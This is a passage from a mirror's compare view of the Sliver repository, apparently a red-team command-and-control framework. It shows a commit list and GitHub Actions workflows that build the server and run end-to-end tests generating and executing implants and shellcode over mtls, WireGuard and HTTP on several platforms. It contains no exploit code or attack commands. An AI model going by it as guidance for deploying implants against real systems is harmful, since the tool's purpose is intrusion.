mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
73
Commits
docs-refresh
...
v1.7.6
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
902999493b | ||
|
|
14363c5d2a | ||
|
|
926b7ae1a7 | ||
|
|
bf815b36ed | ||
|
|
637853e8c2 | ||
|
|
0c022ec722 | ||
|
|
7c83b458fa | ||
|
|
09b0540e75 | ||
|
|
b4005efda8 | ||
|
|
6d086fd7a7 | ||
|
|
ccebd505b0 | ||
|
|
94c5022dd0 | ||
|
|
b19e383111 | ||
|
|
02ebd99c68 | ||
|
|
83d82e7161 | ||
|
|
eb5ac1b309 | ||
|
|
e73618e0a5 | ||
|
|
0017fd2fe8 | ||
|
|
e44111b6b4 | ||
|
|
aa2dce510a | ||
|
|
5e6acde3c7 | ||
|
|
99a8d3f859 | ||
|
|
fc15a47b1e | ||
|
|
8b32b6525f | ||
|
|
9e0fafb785 | ||
|
|
12ebffb16c | ||
|
|
b539762de7 | ||
|
|
e71af809d4 | ||
|
|
f3ffa3323b | ||
|
|
778331d474 | ||
|
|
8d259577af | ||
|
|
aa108a66a8 | ||
|
|
44e5464950 | ||
|
|
1381200b33 | ||
|
|
f81b250a04 | ||
|
|
8b4ee5f5c5 | ||
|
|
68cb1363e8 | ||
|
|
2344a3ae50 | ||
|
|
8cec5164b7 | ||
|
|
be50c25cb2 | ||
|
|
ee2cc83aa1 | ||
|
|
8e62e2dcd9 | ||
|
|
1347059639 | ||
|
|
29efea561c | ||
|
|
82deca2b0f | ||
|
|
808b3b6408 | ||
|
|
eba10ebbfc | ||
|
|
13903e46a8 | ||
|
|
8aaaa583bd | ||
|
|
4b428065e2 | ||
|
|
578f9a28d0 | ||
|
|
ce2f494f96 | ||
|
|
c1c36491a6 | ||
|
|
a5c3482c6d | ||
|
|
b428274515 | ||
|
|
5dc6adae47 | ||
|
|
264b00f3c7 | ||
|
|
ada79c8ecd | ||
|
|
edd4c3d097 | ||
|
|
38f84a4f6f | ||
|
|
aee0958e99 | ||
|
|
23c067982a | ||
|
|
7e917da3ac | ||
|
|
674b49f41f | ||
|
|
4ba04df621 | ||
|
|
3274382bc7 | ||
|
|
9c9943c94c | ||
|
|
2e9b52371e | ||
|
|
6d6df68972 | ||
|
|
7f863d3172 | ||
|
|
6ecb379bce | ||
|
|
b5d3d0bad6 | ||
|
|
528b04427a |
No files matched your search
@@ -0,0 +1,449 @@
|
||||
name: Comprehensive e2e Tests
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
concurrency:
|
||||
group: comprehensive-e2e-${{ github.ref }}
|
||||
cancel-in-progress: false
|
||||
|
||||
jobs:
|
||||
authorize:
|
||||
name: Require repository administrator
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- name: Check actor repository permission
|
||||
uses: actions/github-script@v9
|
||||
env:
|
||||
REQUESTING_ACTOR: ${{ github.triggering_actor }}
|
||||
with:
|
||||
script: |
|
||||
const actor = process.env.REQUESTING_ACTOR || context.actor;
|
||||
const { data } = await github.rest.repos.getCollaboratorPermissionLevel({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
username: actor,
|
||||
});
|
||||
core.info(`${actor} has repository permission ${data.permission} (${data.role_name})`);
|
||||
if (data.permission !== "admin") {
|
||||
core.setFailed("Comprehensive e2e Tests may only be run by repository administrators");
|
||||
}
|
||||
|
||||
darwin:
|
||||
name: comprehensive-e2e-darwin-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-15-intel
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: macos-15
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'darwin/%s\n' '${{ matrix.goarch }}' > e2e-results/target-darwin-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: darwin
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: darwin
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e ./test/e2e
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
./sliver-comprehensive-e2e
|
||||
-test.v
|
||||
-test.run=^TestComprehensiveE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os darwin
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-results ./e2e-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-darwin-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
linux-native:
|
||||
name: comprehensive-e2e-linux-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: ubuntu-24.04
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: ubuntu-24.04-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'linux/%s\n' '${{ matrix.goarch }}' > e2e-results/target-linux-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: linux
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: linux
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e ./test/e2e
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
./sliver-comprehensive-e2e
|
||||
-test.v
|
||||
-test.run=^TestComprehensiveE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os linux
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-results ./e2e-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-linux-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
linux-386:
|
||||
name: comprehensive-e2e-linux-386
|
||||
needs: authorize
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 360
|
||||
env:
|
||||
CONTAINER_NAME: sliver-comprehensive-e2e-linux-386-${{ github.run_id }}-${{ github.run_attempt }}
|
||||
IMAGE_NAME: sliver-comprehensive-e2e-linux-386:${{ github.run_id }}-${{ github.run_attempt }}
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'linux/386\n' > e2e-results/target-linux-386.txt
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build linux/386 E2E image
|
||||
run: |
|
||||
set -euo pipefail
|
||||
go_version="$(awk '$1 == "go" { print $2; exit }' go.mod)"
|
||||
docker buildx build \
|
||||
--load \
|
||||
--platform linux/386 \
|
||||
--build-arg "GO_VERSION=${go_version}" \
|
||||
--file test/e2e/Dockerfile.linux-386 \
|
||||
--tag "${IMAGE_NAME}" \
|
||||
.
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
docker run
|
||||
--name "${CONTAINER_NAME}"
|
||||
--platform linux/386
|
||||
--volume "${PWD}/e2e-results:/results"
|
||||
"${IMAGE_NAME}"
|
||||
|
||||
- name: Clean up linux/386 Docker resources
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
docker rm --force "${CONTAINER_NAME}" 2>/dev/null || true
|
||||
docker image rm --force "${IMAGE_NAME}" 2>/dev/null || true
|
||||
docker buildx prune --all --force >/dev/null 2>&1 || true
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-linux-386
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
windows:
|
||||
name: comprehensive-e2e-windows-${{ matrix.goarch }}
|
||||
needs: authorize
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: windows-2022
|
||||
goarch: 386
|
||||
server_arch: amd64
|
||||
- runner: windows-2022
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: windows-11-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare coverage artifact
|
||||
run: |
|
||||
mkdir -p e2e-results
|
||||
printf 'windows/%s\n' '${{ matrix.goarch }}' > e2e-results/target-windows-${{ matrix.goarch }}.txt
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: windows
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o sliver-server.exe ./server
|
||||
|
||||
- name: Compile comprehensive E2E driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: windows
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o sliver-comprehensive-e2e.exe ./test/e2e
|
||||
|
||||
- name: Run comprehensive E2E suite
|
||||
run: >-
|
||||
./sliver-comprehensive-e2e.exe
|
||||
-test.v
|
||||
-test.run=^TestComprehensiveE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ./sliver-server.exe
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os windows
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
-results ./e2e-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
|
||||
- name: Upload target coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-target-windows-${{ matrix.goarch }}
|
||||
path: e2e-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
aggregate-coverage:
|
||||
name: Aggregate comprehensive E2E coverage
|
||||
needs:
|
||||
- authorize
|
||||
- darwin
|
||||
- linux-native
|
||||
- linux-386
|
||||
- windows
|
||||
if: ${{ always() && needs.authorize.result == 'success' }}
|
||||
outputs:
|
||||
command_coverage_markdown: ${{ steps.publish_command_coverage.outputs.command_coverage_markdown }}
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download target coverage
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: comprehensive-e2e-target-*
|
||||
path: coverage-input
|
||||
merge-multiple: true
|
||||
|
||||
- name: Prepare aggregate artifact
|
||||
run: |
|
||||
mkdir -p coverage-input coverage-summary
|
||||
printf 'Comprehensive E2E coverage aggregate\n' > coverage-summary/README.txt
|
||||
|
||||
- name: Aggregate coverage and enforce required cells
|
||||
id: aggregate
|
||||
continue-on-error: true
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor ./test/e2e/report
|
||||
-input coverage-input
|
||||
-output coverage-summary
|
||||
|
||||
- name: Publish command coverage table
|
||||
id: publish_command_coverage
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
detailed_report="coverage-summary/coverage-summary.md"
|
||||
report="coverage-summary/command-coverage.md"
|
||||
if [[ ! -s "${report}" ]]; then
|
||||
printf 'Command coverage report is missing or empty: %s\n' "${report}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
delimiter="COMPREHENSIVE_E2E_COMMAND_COVERAGE_EOF"
|
||||
if grep -Fxq "${delimiter}" "${report}"; then
|
||||
printf 'Command coverage report contains the reserved output delimiter: %s\n' "${delimiter}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
{
|
||||
printf 'command_coverage_markdown<<%s\n' "${delimiter}"
|
||||
cat "${report}"
|
||||
printf '%s\n' "${delimiter}"
|
||||
} >> "${GITHUB_OUTPUT}"
|
||||
|
||||
if [[ -f "${detailed_report}" ]]; then
|
||||
cat "${detailed_report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
fi
|
||||
printf '\n## Command coverage by OS/architecture/transport\n\n' >> "${GITHUB_STEP_SUMMARY}"
|
||||
cat "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
|
||||
- name: Upload aggregate coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: comprehensive-e2e-coverage-summary
|
||||
path: coverage-summary
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 30
|
||||
|
||||
- name: Fail on failed or not-run coverage
|
||||
if: ${{ steps.aggregate.outcome != 'success' }}
|
||||
run: exit 1
|
||||
|
||||
reflektor:
|
||||
name: Existing Reflektor test matrix
|
||||
needs: authorize
|
||||
uses: ./.github/workflows/reflektor-tests.yml
|
||||
|
||||
shellcode:
|
||||
name: Shellcode E2E test matrix
|
||||
needs: authorize
|
||||
uses: ./.github/workflows/shellcode-tests.yml
|
||||
@@ -20,7 +20,6 @@ on:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: read
|
||||
|
||||
jobs:
|
||||
lint:
|
||||
@@ -41,6 +40,8 @@ jobs:
|
||||
steps:
|
||||
- name: Check Out Code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Go 1.26.6
|
||||
uses: actions/setup-go@v6
|
||||
@@ -51,6 +52,5 @@ jobs:
|
||||
uses: golangci/golangci-lint-action@v9
|
||||
with:
|
||||
version: v2.12.2
|
||||
# Keep legacy findings visible without making them blockers.
|
||||
only-new-issues: true
|
||||
args: ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
|
||||
# Gate only findings introduced since the event base revision.
|
||||
args: --new-from-rev=${{ github.event.pull_request.base.sha || github.event.before }} ./client/... ./server/... ./util/... ./protobuf/... ./docs ./implant/...
|
||||
@@ -0,0 +1,214 @@
|
||||
name: Reflektor Integration Test Matrix
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
darwin:
|
||||
name: reflektor-darwin-${{ matrix.goarch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-15-intel
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: macos-15
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: darwin
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: darwin
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-target-os darwin
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
|
||||
linux-native:
|
||||
name: reflektor-linux-${{ matrix.goarch }}-native
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: ubuntu-24.04
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: ubuntu-24.04-arm
|
||||
goarch: arm64
|
||||
server_arch: arm64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: linux
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: linux
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e
|
||||
-repo .
|
||||
-server ./sliver-server
|
||||
-target-os linux
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
|
||||
linux-386:
|
||||
name: reflektor-linux-386-docker
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 180
|
||||
env:
|
||||
CONTAINER_NAME: sliver-reflektor-linux-386-${{ github.run_id }}-${{ github.run_attempt }}
|
||||
IMAGE_NAME: sliver-reflektor-linux-386:${{ github.run_id }}-${{ github.run_attempt }}
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: Build linux/386 test image
|
||||
run: |
|
||||
set -euo pipefail
|
||||
go_version="$(awk '$1 == "go" { print $2; exit }' go.mod)"
|
||||
docker buildx build \
|
||||
--load \
|
||||
--platform linux/386 \
|
||||
--build-arg "GO_VERSION=${go_version}" \
|
||||
--file test/reflektor/Dockerfile.linux-386 \
|
||||
--tag "${IMAGE_NAME}" \
|
||||
.
|
||||
docker buildx prune --all --force
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
docker run
|
||||
--name "${CONTAINER_NAME}"
|
||||
--platform linux/386
|
||||
"${IMAGE_NAME}"
|
||||
|
||||
- name: Clean up linux/386 Docker resources
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
docker rm --force "${CONTAINER_NAME}" 2>/dev/null || true
|
||||
docker image rm --force "${IMAGE_NAME}" 2>/dev/null || true
|
||||
docker buildx prune --all --force >/dev/null 2>&1 || true
|
||||
|
||||
windows:
|
||||
name: reflektor-windows-${{ matrix.goarch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 180
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: windows-2022
|
||||
goarch: amd64
|
||||
server_arch: amd64
|
||||
- runner: windows-2022
|
||||
goarch: 386
|
||||
server_arch: amd64
|
||||
- runner: windows-11-arm
|
||||
goarch: arm64
|
||||
server_arch: amd64
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -mod=vendor ./util/cmd/assets
|
||||
|
||||
- name: Build Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: windows
|
||||
run: go build -mod=vendor -trimpath -tags go_sqlite,server -o sliver-server.exe ./server
|
||||
|
||||
- name: Build Reflektor integration driver
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.goarch }}
|
||||
GOOS: windows
|
||||
run: go build -mod=vendor -trimpath -tags client,go_sqlite -o sliver-reflektor-e2e.exe ./test/reflektor
|
||||
|
||||
- name: Load Sliver with Reflektor
|
||||
run: >-
|
||||
./sliver-reflektor-e2e.exe
|
||||
-repo .
|
||||
-server ./sliver-server.exe
|
||||
-target-os windows
|
||||
-target-arch ${{ matrix.goarch }}
|
||||
@@ -0,0 +1,208 @@
|
||||
name: Shellcode E2E Test Matrix
|
||||
|
||||
on:
|
||||
workflow_call:
|
||||
outputs:
|
||||
shellcode_coverage_markdown:
|
||||
description: Shellcode E2E coverage table in Markdown
|
||||
value: ${{ jobs.aggregate.outputs.shellcode_coverage_markdown }}
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
target:
|
||||
name: shellcode-e2e-${{ matrix.target_os }}-${{ matrix.target_arch }}
|
||||
runs-on: ${{ matrix.runner }}
|
||||
timeout-minutes: 360
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- runner: macos-26
|
||||
target_os: darwin
|
||||
target_arch: arm64
|
||||
server_os: darwin
|
||||
server_arch: arm64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: ubuntu-24.04
|
||||
target_os: linux
|
||||
target_arch: amd64
|
||||
server_os: linux
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: ubuntu-24.04-arm
|
||||
target_os: linux
|
||||
target_arch: arm64
|
||||
server_os: linux
|
||||
server_arch: arm64
|
||||
server_executable: ./sliver-server
|
||||
test_executable: ./sliver-shellcode-e2e
|
||||
- runner: windows-2022
|
||||
target_os: windows
|
||||
target_arch: "386"
|
||||
server_os: windows
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server.exe
|
||||
test_executable: ./sliver-shellcode-e2e.exe
|
||||
- runner: windows-2022
|
||||
target_os: windows
|
||||
target_arch: amd64
|
||||
server_os: windows
|
||||
server_arch: amd64
|
||||
server_executable: ./sliver-server.exe
|
||||
test_executable: ./sliver-shellcode-e2e.exe
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Prepare target artifact
|
||||
run: |
|
||||
mkdir -p shellcode-results
|
||||
printf '%s/%s\n' \
|
||||
'${{ matrix.target_os }}' \
|
||||
'${{ matrix.target_arch }}' \
|
||||
> 'shellcode-results/target-${{ matrix.target_os }}-${{ matrix.target_arch }}.txt'
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Download Sliver build assets
|
||||
run: go run -buildvcs=false -mod=vendor -trimpath ./util/cmd/assets
|
||||
|
||||
- name: Build unmodified Sliver server
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.server_arch }}
|
||||
GOOS: ${{ matrix.server_os }}
|
||||
run: >-
|
||||
go build -buildvcs=false -mod=vendor -trimpath -tags go_sqlite,server
|
||||
-o ${{ matrix.server_executable }} ./server
|
||||
|
||||
- name: Compile shellcode E2E client
|
||||
env:
|
||||
CGO_ENABLED: "0"
|
||||
GOARCH: ${{ matrix.target_arch }}
|
||||
GOOS: ${{ matrix.target_os }}
|
||||
run: >-
|
||||
go test -c -buildvcs=false -mod=vendor -trimpath -tags client,go_sqlite
|
||||
-o ${{ matrix.test_executable }} ./test/e2e
|
||||
|
||||
- name: Run shellcode generation and execution tests
|
||||
run: >-
|
||||
${{ matrix.test_executable }}
|
||||
-test.v
|
||||
-test.run=^TestShellcodeE2E$
|
||||
-test.timeout=0
|
||||
-repo .
|
||||
-server ${{ matrix.server_executable }}
|
||||
-server-arch ${{ matrix.server_arch }}
|
||||
-target-os ${{ matrix.target_os }}
|
||||
-target-arch ${{ matrix.target_arch }}
|
||||
-results ./shellcode-results
|
||||
-transports mtls,wg,http
|
||||
-implant-modes session,beacon
|
||||
-beacon-interval 10s
|
||||
-shellcode-sgn-samples 4
|
||||
|
||||
- name: Upload target shellcode results
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: shellcode-e2e-target-${{ matrix.target_os }}-${{ matrix.target_arch }}
|
||||
path: shellcode-results
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 14
|
||||
|
||||
aggregate:
|
||||
name: Aggregate shellcode E2E coverage
|
||||
needs: target
|
||||
if: ${{ always() }}
|
||||
outputs:
|
||||
shellcode_coverage_markdown: ${{ steps.publish_shellcode_coverage.outputs.shellcode_coverage_markdown }}
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 30
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Go
|
||||
uses: actions/setup-go@v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache: true
|
||||
|
||||
- name: Prepare aggregate artifact
|
||||
run: |
|
||||
mkdir -p shellcode-input shellcode-summary
|
||||
printf 'Shellcode E2E coverage aggregate\n' > shellcode-summary/README.txt
|
||||
|
||||
- name: Download target shellcode results
|
||||
continue-on-error: true
|
||||
uses: actions/download-artifact@v8
|
||||
with:
|
||||
pattern: shellcode-e2e-target-*
|
||||
path: shellcode-input
|
||||
merge-multiple: true
|
||||
|
||||
